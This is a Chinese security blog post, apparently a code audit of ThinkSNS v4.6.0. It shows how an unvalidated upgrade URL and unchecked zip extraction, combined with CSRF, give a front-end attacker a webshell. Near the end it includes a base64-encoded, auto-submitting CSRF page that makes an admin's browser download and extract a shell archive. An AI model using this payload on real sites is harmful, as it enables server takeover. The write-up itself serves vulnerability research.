代码审计之ThinkSNS v4.6.0最新版前台getshell

63 2019-8-19 14:51

对于一个后台的至getshell的漏洞点,若需要当作前台来利用,最直接的idea会想到什么?当然是XSS、CSRF了,这已经不是什么新鲜话题或trick了,较早的wordpress 前台XSS之Getshell、最近安全客也有人发过zzzphp1.6前台的Getshell方式使用类似的方法。所以笔者对ThinkSNS审计的后台漏洞分析及其利用同样结合CSRF进行。

漏洞类型

通用漏洞

img

简介

后台升级存在逻辑错误与变量覆盖未验证升级链接参数upurl导致可升级远程下载shell结合后台csrf漏洞可导致攻击人员在前台发表payload链接即可getshell 。

漏洞分析

漏洞代码发生在路径ts4/apps/admin/lib/Action/UpgradeAction.class.php文件。img

img

46行处,升级时调用check函数升级通过C('UPURL').'?v='.C('VERSION')获取升级链接

img

在169行,直接再次调用且upurl可控,覆盖之前的&upurl远程升级下载包含.php的test.zip压缩包先下载再校验,存在逻辑问题,直接构造url payload下载。此为漏洞的引发起始点,再往下看在226行处step2,Step2解压也存在问题未进行校验文件就进行解压到网站根目录

 img

复现

1.直接在后台Getshell

1)根据对漏洞的定位,直接构造step1步的触发链接payload如下图所示

1563091961865

1563091973625

即可通过升级的step1远程下载shell压缩文件。

2)根据step2定位的漏洞点继续构造触发解压的payload如下图所示:

Step2

解压也存在问题未进行校验文件就进行解压到网站根目录

1563091999618

1563092009724

3)解压成功,shell.php被解压下载解压到了WWW\ts4\test目录

4)getshell

1563092040879

2. 后台Gethsell组合后台CSRF(无需登陆管理员前台getshell)

结合step1和step2构造一个CSRF getshell payload页面 html

<html>
    <body>

       <iframe src="data:text/html;base64,PGZvcm0gYWN0aW9uPSJodHRwOi8vMTkyLjE2OC4xMC4xMDYvdHM0L2luZGV4LnBocCI+CiAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFwcCIgdmFsdWU9ImFkbWluIiAvPgogICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJtb2QiIHZhbHVlPSJVcGdyYWRlIiAvPgogICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzdGVwMSIgLz4KICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idXB1cmwiIHZhbHVlPSJodHRwOi8vMTI3LjAuMC4xL3NoZWxsLnppcCIgLz4KICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCByZXF1ZXN0IiAvPgogICAgPC9mb3JtPgo8Zm9ybSBhY3Rpb249Imh0dHA6Ly8xOTIuMTY4LjEwLjEwNi90czQvaW5kZXgucGhwIj4KICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYXBwIiB2YWx1ZT0iYWRtaW4iIC8+CiAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im1vZCIgdmFsdWU9IlVwZ3JhZGUiIC8+CiAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InN0ZXAyIiAvPgogICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlbmFtZSIgdmFsdWU9InNoZWxsJiM0Njt6aXAiIC8+CiAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQgcmVxdWVzdCIgLz4KICAgIDwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0PjxzY3JpcHQ+ZG9jdW1lbnQuZm9ybXNbMF0uc3VibWl0KCk7PC9zY3JpcHQ+"></body> </html>

用户在前端留言处发表连接留言管理员点击查看getshell当点击时执行step1和step2已在不知情的情况下执行了载shell和加压shell.zip两步

1563092228938

成功下载shell

1563092253338

被解压

1563092268815

1563092277687


来源:http://qclover.cn/2019/07/12/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E4%B9%8BThinkSNS-v4.6.0%E6%9C%80%E6%96%B0%E7%89%88%E5%89%8D%E5%8F%B0getshell.html